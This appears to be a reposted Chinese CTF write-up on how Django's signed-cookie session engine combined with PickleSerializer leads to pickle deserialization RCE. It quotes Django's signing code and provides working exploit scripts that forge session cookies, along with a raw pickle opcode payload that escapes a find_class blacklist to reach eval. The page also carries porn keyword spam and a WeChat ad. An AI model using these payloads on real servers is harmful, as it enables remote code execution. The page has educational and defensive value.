国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

由Django-Session配置引發(fā)的反序列化安全問題

這篇具有很好參考價(jià)值的文章主要介紹了由Django-Session配置引發(fā)的反序列化安全問題。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

漏洞成因

漏洞成因位于目標(biāo)配置文件settings.py下

關(guān)于這兩個(gè)配置項(xiàng)

SESSION_ENGINE:

在Django中,SESSION_ENGINE?是一個(gè)設(shè)置項(xiàng),用于指定用于存儲和處理會話(session)數(shù)據(jù)的引擎。

SESSION_ENGINE?設(shè)置項(xiàng)允許您選擇不同的后端引擎來存儲會話數(shù)據(jù),例如:

  1. 數(shù)據(jù)庫后端?(django.contrib.sessions.backends.db):會話數(shù)據(jù)存儲在數(shù)據(jù)庫表中。這是Django的默認(rèn)會話引擎。

  2. 緩存后端?(django.contrib.sessions.backends.cache):會話數(shù)據(jù)存儲在緩存中,例如Memcached或Redis。這種方式適用于需要快速讀寫和處理大量會話數(shù)據(jù)的情況。

  3. 文件系統(tǒng)后端?(django.contrib.sessions.backends.file):會話數(shù)據(jù)存儲在服務(wù)器的文件系統(tǒng)中。這種方式適用于小型應(yīng)用,不需要高級別的安全性和性能。

  4. 簽名Cookie后端?(django.contrib.sessions.backends.signed_cookies):會話數(shù)據(jù)以簽名的方式存儲在用戶的Cookie中。這種方式適用于小型會話數(shù)據(jù),可以提供一定程度的安全性。

  5. 緩存數(shù)據(jù)庫后端?(django.contrib.sessions.backends.cached_db):會話數(shù)據(jù)存儲在緩存中,并且在需要時(shí)備份到數(shù)據(jù)庫。這種方式結(jié)合了緩存和持久性存儲的優(yōu)勢。

SESSION_SERIALIZER:

SESSION_SERIALIZER?是Django設(shè)置中的一個(gè)選項(xiàng),用于指定Django如何對會話(session)數(shù)據(jù)進(jìn)行序列化和反序列化。會話是一種在Web應(yīng)用程序中用于存儲用戶狀態(tài)信息的機(jī)制,例如用戶登錄狀態(tài)、購物車內(nèi)容、用戶首選項(xiàng)等。

通過配置SESSION_SERIALIZER,您可以指定Django使用哪種數(shù)據(jù)序列化格式來處理會話數(shù)據(jù)。Django支持多種不同的序列化格式,包括以下常用的選項(xiàng):

  1. 'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式來序列化和反序列化會話數(shù)據(jù)。JSON是一種通用的文本格式,具有良好的可讀性和跨平臺兼容性。

  2. 'django.contrib.sessions.serializers.PickleSerializer':使用Python標(biāo)準(zhǔn)庫中的pickle模塊來序列化和反序列化會話數(shù)據(jù)。

那么上述配置項(xiàng)的意思就是使用cookie來存儲session的簽名,然后使用pickle在c/s兩端進(jìn)行序列化和反序列化。

緊接著看看Django中的/core/signing模塊:(Django==2.2.5)

主要看看函數(shù)參數(shù)即可

key:驗(yàn)簽中的密鑰

serializer:指定序列化和反序列化類

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
 ? ?"""
 ?  Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
 ?  None, use settings.SECRET_KEY instead.
?
 ?  If compress is True (not the default), check if compressing using zlib can
 ?  save some space. Prepend a '.' to signify compression. This is included
 ?  in the signature, to protect against zip bombs.
?
 ?  Salt can be used to namespace the hash, so that a signed string is
 ?  only valid for a given namespace. Leaving this at the default
 ?  value or re-using a salt value across different parts of your
 ?  application without good cause is a security risk.
?
 ?  The serializer is expected to return a bytestring.
 ?  """
 ? ?data = serializer().dumps(obj)      # 使用選定的類進(jìn)行序列化
?
 ? ?# Flag for if it's been compressed or not
 ? ?is_compressed = False
    
 ? ?# 數(shù)據(jù)壓縮處理
 ? ?if compress:
 ? ? ? ?# Avoid zlib dependency unless compress is being used
 ? ? ? ?compressed = zlib.compress(data)
 ? ? ? ?if len(compressed) < (len(data) - 1):
 ? ? ? ? ? ?data = compressed
 ? ? ? ? ? ?is_compressed = True
 ? ?base64d = b64_encode(data).decode()         # base64編碼 decode轉(zhuǎn)化成字符串
 ? ?if is_compressed:
 ? ? ? ?base64d = '.' + base64d
 ? ?return TimestampSigner(key, salt=salt).sign(base64d)    # 返回一個(gè)簽名值
?
?
# loads的過程為dumps的逆過程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
 ? ?"""
 ?  Reverse of dumps(), raise BadSignature if signature fails.
?
 ?  The serializer is expected to accept a bytestring.
 ?  """
 ? ?# TimestampSigner.unsign() returns str but base64 and zlib compression
 ? ?# operate on bytes.
 ? ?base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
 ? ?decompress = base64d[:1] == b'.'
 ? ?if decompress:
 ? ? ? ?# It's compressed; uncompress it first
 ? ? ? ?base64d = base64d[1:]
 ? ?data = b64_decode(base64d)
 ? ?if decompress:
 ? ? ? ?data = zlib.decompress(data)
 ? ?return serializer().loads(data)

看看兩個(gè)簽名的類:

在Signer類中中:

class Signer:
?
 ? ?def __init__(self, key=None, sep=':', salt=None):
 ? ? ? ?# Use of native strings in all versions of Python
 ? ? ? ?self.key = key or settings.SECRET_KEY   # key默認(rèn)為settings中的配置項(xiàng)           
 ? ? ? ?self.sep = sep
 ? ? ? ?if _SEP_UNSAFE.match(self.sep):
 ? ? ? ? ? ?raise ValueError(
 ? ? ? ? ? ? ? ?'Unsafe Signer separator: %r (cannot be empty or consist of '
 ? ? ? ? ? ? ? ?'only A-z0-9-_=)' % sep,
 ? ? ? ? ?  )
 ? ? ? ?self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
?
 ? ?def signature(self, value):
 ? ? ? ?# 利用salt、value、key做一次簽名
 ? ? ? ?return base64_hmac(self.salt + 'signer', value, self.key)
?
 ? ?def sign(self, value):
 ? ? ? ?return '%s%s%s' % (value, self.sep, self.signature(value))
?
 ? ?def unsign(self, signed_value):
 ? ? ? ?if self.sep not in signed_value:
 ? ? ? ? ? ?raise BadSignature('No "%s" found in value' % self.sep)
 ? ? ? ?value, sig = signed_value.rsplit(self.sep, 1)
 ? ? ? ?if constant_time_compare(sig, self.signature(value)):
 ? ? ? ? ? ?return value
 ? ? ? ?raise BadSignature('Signature "%s" does not match' % sig)

還有一個(gè)是時(shí)間戳的驗(yàn)簽部分

class TimestampSigner(Signer):
?
 ? ?def timestamp(self):
 ? ? ? ?return baseconv.base62.encode(int(time.time()))
?
 ? ?def sign(self, value):
 ? ? ? ?value = '%s%s%s' % (value, self.sep, self.timestamp())
 ? ? ? ?return super().sign(value)
?
 ? ?def unsign(self, value, max_age=None):
 ? ? ? ?"""
 ? ? ?  Retrieve original value and check it wasn't signed more
 ? ? ?  than max_age seconds ago.
 ? ? ?  """
 ? ? ? ?result = super().unsign(value)
 ? ? ? ?value, timestamp = result.rsplit(self.sep, 1)
 ? ? ? ?timestamp = baseconv.base62.decode(timestamp)
 ? ? ? ?if max_age is not None:
 ? ? ? ? ? ?if isinstance(max_age, datetime.timedelta):
 ? ? ? ? ? ? ? ?max_age = max_age.total_seconds()
 ? ? ? ? ? ?# Check timestamp is not older than max_age
 ? ? ? ? ? ?age = time.time() - timestamp
 ? ? ? ? ? ?if age > max_age:
 ? ? ? ? ? ? ? ?raise SignatureExpired(
 ? ? ? ? ? ? ? ? ? ?'Signature age %s > %s seconds' % (age, max_age))
 ? ? ? ?return value

時(shí)間戳主要是為了判斷session是否過期,因?yàn)樵O(shè)置了一個(gè)max_age字段,做了差值進(jìn)行比較

漏洞調(diào)試

我直接以ez_py的題目環(huán)境為漏洞調(diào)試環(huán)境(Django==2.2.5)

【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料免費(fèi)領(lǐng)!加vx:yj009991,備注 “博客園” 獲取!】

?、?網(wǎng)安學(xué)習(xí)成長路徑思維導(dǎo)圖
 ② 60+網(wǎng)安經(jīng)典常用工具包
?、?100+SRC漏洞分析報(bào)告
?、?150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
?、?最權(quán)威CISSP 認(rèn)證考試指南+題庫
?、?超1800頁CTF實(shí)戰(zhàn)技巧手冊
?、?最新網(wǎng)安大廠面試題合集(含答案)
?、?APP客戶端安全檢測指南(安卓+IOS)

老慣例,先看棧幀

django/contrib/auth/middleware.py為處理Django框架中的身份驗(yàn)證和授權(quán)的中間件類,協(xié)助處理了HTTP請求

AuthenticationMiddleware中調(diào)用了get_user用于獲取session中的連接對象身份

隨后調(diào)用Django auth模塊下的get_user函數(shù)和_get_user_session_key函數(shù)

隨后進(jìn)行session的字典讀取。由于加載session的過程為懶加載過程(lazy load),所以在讀取SESSION_KEY的時(shí)候會進(jìn)行_get_session函數(shù)運(yùn)行,從而觸發(fā)session的反序列化

loads函數(shù)中的操作

首先先進(jìn)行session是否過期的檢驗(yàn),隨后base64解碼和zlib數(shù)據(jù)解壓縮,提取出python字節(jié)碼

最后扔入pickle進(jìn)行字節(jié)碼解析

漏洞利用

首先利用條件如下:

以cookie方式存儲session,實(shí)現(xiàn)了交互。

以Pickle為反序列化類,觸發(fā)__reduce__函數(shù)的執(zhí)行,實(shí)現(xiàn)RCE

EXP如下:

import os
import django.core.signing
import requests
?
?
# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
 ? ?"""
 ?  Simple wrapper around pickle to be used in signing.dumps and
 ?  signing.loads.
 ?  """
 ? ?protocol = pickle.HIGHEST_PROTOCOL
?
 ? ?def dumps(self, obj):
 ? ? ? ?return pickle.dumps(obj, self.protocol)
?
 ? ?def loads(self, data):
 ? ? ? ?return pickle.loads(data)
?
?
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
?
class exp():
 ? ?def __reduce__(self):
 ? ? ? ?# 返回一個(gè)callable 及其參數(shù)的元組
 ? ? ? ?return os.system, (('calc.exe'),)
?
_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)
?
resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

Code-Breaking-Django調(diào)試

這道題是P神文章中的題目,題目源碼在這:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

關(guān)于find_class:

簡單來說,這是python pickle建議使用的安全策略,這個(gè)函數(shù)在pickle字節(jié)碼調(diào)用c(即import)時(shí)會進(jìn)行校驗(yàn),校驗(yàn)函數(shù)由自己定義

import pickle
import io
import builtins
?
__all__ = ('PickleSerializer', )
?
?
class RestrictedUnpickler(pickle.Unpickler):
 ? ?blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
?
 ? ?def find_class(self, module, name): ? ? ? ? # python字節(jié)碼解析后調(diào)用了全局類或函數(shù) import行為 就會自動(dòng)調(diào)用find_class方法
 ? ? ? ?# Only allow safe classes from builtins.
 ? ? ? ?if module == "builtins" and name not in self.blacklist: ? ? ? ?# 檢查調(diào)用的類是否為內(nèi)建類, 以及函數(shù)名是否出現(xiàn)在黑名單內(nèi)
 ? ? ? ? ? ?return getattr(builtins, name)
 ? ? ? ?# Forbid everything else.
 ? ? ? ?raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (module, name))
?
?
class PickleSerializer():
 ? ?def dumps(self, obj):
 ? ? ? ?return pickle.dumps(obj)
?
 ? ?def loads(self, data):
 ? ? ? ?try:
 ? ? ? ? ? ?# 校驗(yàn)data是否為字符串
 ? ? ? ? ? ?if isinstance(data, str):
 ? ? ? ? ? ? ? ?raise TypeError("Can't load pickle from unicode string")
 ? ? ? ? ? ?file = io.BytesIO(data) ? ? ? ? ? ? ? ? ? ? # 讀取data
 ? ? ? ? ? ?return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
 ? ? ? ?except Exception as e:
 ? ? ? ? ? ?return {}

第一是要手撕python pickle opcode繞過find_class,這個(gè)過程使用到了getattr函數(shù),這個(gè)函數(shù)有如下用法

class Person:
 ? ? def __init__(self, name):
 ? ? ? ? self.name = name
?
# 獲取對象屬性值
person = Person("Alice")
name = getattr(person, "name")
print(name)
?
# 調(diào)用對象方法
a = getattr(builtins, "eval")
a("print(1+1)")
?
?
# 可以設(shè)置default值
age = getattr(person, "age", 30)
print(age)
?
builtins.getattr(builtins, "eval")("print(1+1)")

那么同理,也可以通過getattr調(diào)用eval

加載上下文:由于后端在實(shí)現(xiàn)時(shí),import了一些包

(這部分包的上下文可以使用globals()函數(shù)獲得)

所以可以直接導(dǎo)入builtins中的getattr,最終通過獲取globals()中的__builtins__來獲取eval等

getattr = GLOBAL('builtins', 'getattr')     # GLOBAL為導(dǎo)入
dict = GLOBAL('builtins', 'dict')       
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()                
__builtins__ = dict_get(builtins, '__builtins__')           # 獲取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

查看Django.core.signing模塊,復(fù)刻sign寫exp

from django.core import signing
import pickle
import io
import builtins
import zlib
import base64
?
PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
?
SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"
?
?
def b64_encode(s):
 ? ?return base64.urlsafe_b64encode(s).strip(b"=")
?
base64d = b64_encode(PayloadToBeEncoded).decode()
?
def exp(key, payload):
 ? ?global salt
 ? ?# Flag for if it's been compressed or not.
 ? ?is_compressed = False
 ? ?compress = False
 ? ?if compress:
 ? ? ? ?# Avoid zlib dependency unless compress is being used.
 ? ? ? ?compressed = zlib.compress(payload)
 ? ? ? ?if len(compressed) < (len(payload) - 1):
 ? ? ? ? ? ?payload = compressed
 ? ? ? ? ? ?is_compressed = True
 ? ?base64d = b64_encode(payload).decode()
 ? ?if is_compressed:
 ? ? ? ?base64d = "." + base64d
 ? ?session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
 ? ?print(session)

然后傳session即可。

更多網(wǎng)安技能的在線實(shí)操練習(xí),請點(diǎn)擊這里>>

??文章來源地址http://www.zghlxwxcb.cn/news/detail-711033.html

到了這里,關(guān)于由Django-Session配置引發(fā)的反序列化安全問題的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • owasp top10之不安全的反序列化

    ? 更多網(wǎng)絡(luò)安全干貨內(nèi)容: 點(diǎn)此獲取 ——————— Java?提供了一種對象序列化的機(jī)制,該機(jī)制中,一個(gè)對象可以被表示為一個(gè)字節(jié)序列,該字節(jié)序列包括該對象的數(shù)據(jù)、有關(guān)對象的類型的信息和存儲在對象中數(shù)據(jù)的類型。 將序列化對象寫入文件之后,可以從文件中讀取

    2024年01月22日
    瀏覽(23)
  • 不安全的反序列化(php&java)及漏洞復(fù)現(xiàn)

    不安全的反序列化(php&java)及漏洞復(fù)現(xiàn)

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 為什么要序列化? 序列化, 將對象的狀態(tài)信息轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程 ,這種形式大多為字節(jié)流、字符串、json 串。在序列化期間內(nèi),將對象當(dāng)前狀態(tài)寫入到臨時(shí)或永久性的存儲區(qū)。以后,就可以通過從

    2024年02月09日
    瀏覽(33)
  • session反序列化漏洞

    當(dāng)會話自動(dòng)開始或者通過 session_start() 手動(dòng)開始的時(shí)候, PHP 內(nèi)部會依據(jù)客戶端傳來的PHPSESSID來獲取現(xiàn)有的對應(yīng)的會話數(shù)據(jù)(即session文件), PHP 會自動(dòng)反序列化session文件的內(nèi)容,并將之填充到 $_SESSION 超級全局變量中。如果不存在對應(yīng)的會話數(shù)據(jù),則創(chuàng)建名為sess_PHPSESSID(客戶

    2024年02月07日
    瀏覽(25)
  • session反序列化+SoapClientSSRF+CRLF

    session反序列化+SoapClientSSRF+CRLF

    前言 從一道題分析通過session反序列化出發(fā) SoapClient SSRF利用CRLF解題 bestphp’s revenge 首頁是index.php index.php 好像沒什么利用條件,我們通過目錄掃描到 flag.php: 看這個(gè)代碼很明顯是 SSRF 漏洞,我們需要通過ssrf訪問: http://127.0.0.1/flag.php 將flag寫入session文件中,最后訪問 index.php

    2024年02月14日
    瀏覽(18)
  • Tomcat Session(CVE-2020-9484)反序列化漏洞復(fù)現(xiàn)

    Tomcat Session(CVE-2020-9484)反序列化漏洞復(fù)現(xiàn)

    ????????北京時(shí)間2020年05月20日,Apache官方發(fā)布了 Apache Tomcat 遠(yuǎn)程代碼執(zhí)行 的風(fēng)險(xiǎn)通告,該漏洞編號為 CVE-2020-9484。 Apache Tomcat 是一個(gè)開放源代碼、運(yùn)行servlet和JSP Web應(yīng)用軟件的基于Java的Web應(yīng)用軟件容器。當(dāng)Tomcat使用了自帶session同步功能時(shí),使用不安全的配置(沒有使用

    2024年02月01日
    瀏覽(29)
  • Django--DRf---序列化器:序列化器嵌套

    Django--DRf---序列化器:序列化器嵌套

    模型表: 1、方式一:通過source來獲取指定字段數(shù)據(jù) 【一對多和一對一的】 1.1、一對多 外鍵方 1.2、多對多 外鍵方 【不適應(yīng)】 2、方式二:通過外鍵=序列化類() 【適用所有關(guān)系】 2.1、多對多:外鍵在這里 序列化器: 視圖類: 2.2、一對多,外鍵方 【學(xué)生表,嵌套班級】 3、

    2024年02月01日
    瀏覽(24)
  • 【Django學(xué)習(xí)】(十)模型序列化器_關(guān)聯(lián)字段序列化

    【Django學(xué)習(xí)】(十)模型序列化器_關(guān)聯(lián)字段序列化

    這篇文章是針對模型類序列化器以及如何關(guān)聯(lián)字段序列化 進(jìn)行深入講解的; ?在上面的模型序列化類中: 可以繼承ModelSerializer類或者M(jìn)odelSerializer的子類,來創(chuàng)建模型序列化器類; 模型序列化器類中可以重新定義序列化器字段,優(yōu)先級大于自動(dòng)生成的同名字段 如果新定義的字

    2024年02月11日
    瀏覽(21)
  • Django REST Framework入門之序列化器

    Django REST Framework入門之序列化器

    Django REST framework (簡稱:DRF)是一個(gè)強(qiáng)大而靈活的 Web API 工具。遵循RESTFullAPI風(fēng)格,功能完善。 能簡化序列化及開發(fā)REST API視圖的代碼,大大提高REST API的開發(fā)速度;提供靈活的路由API,內(nèi)置了強(qiáng)大的認(rèn)證和授權(quán)機(jī)制 Django REST framework 最新版使用要求 在settings.py文件的INSTALLED_

    2024年01月21日
    瀏覽(26)
  • Django REST framework中的序列化Serializers

    序列化器允許將諸如查詢集和模型實(shí)例之類的復(fù)雜數(shù)據(jù)轉(zhuǎn)換為原生 Python 數(shù)據(jù)類型,然后可以將它們輕松地呈現(xiàn)為 JSON,XML 或其他內(nèi)容類型。序列化器還提供反序列化,在首次驗(yàn)證傳入數(shù)據(jù)之后,可以將解析的數(shù)據(jù)轉(zhuǎn)換回復(fù)雜類型。 簡單來說,服務(wù)器通過api 返回?cái)?shù)據(jù)(json格

    2024年02月09日
    瀏覽(24)
  • 【Django】Task4 序列化及其高級使用、ModelViewSet

    【Django】Task4 序列化及其高級使用、ModelViewSet

    Task4主要了解序列化及掌握其高級使用,了解ModelViewSet的作用,ModelViewSet 是 Django REST framework(DRF)中的一個(gè)視圖集類,用于快速創(chuàng)建處理模型數(shù)據(jù)的 API 視圖。 Django 的序列化是指將復(fù)雜的數(shù)據(jù)結(jié)構(gòu)(通常是數(shù)據(jù)庫中的模型對象)轉(zhuǎn)換為可以在不同應(yīng)用程序間傳輸和存儲的格

    2024年02月11日
    瀏覽(21)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包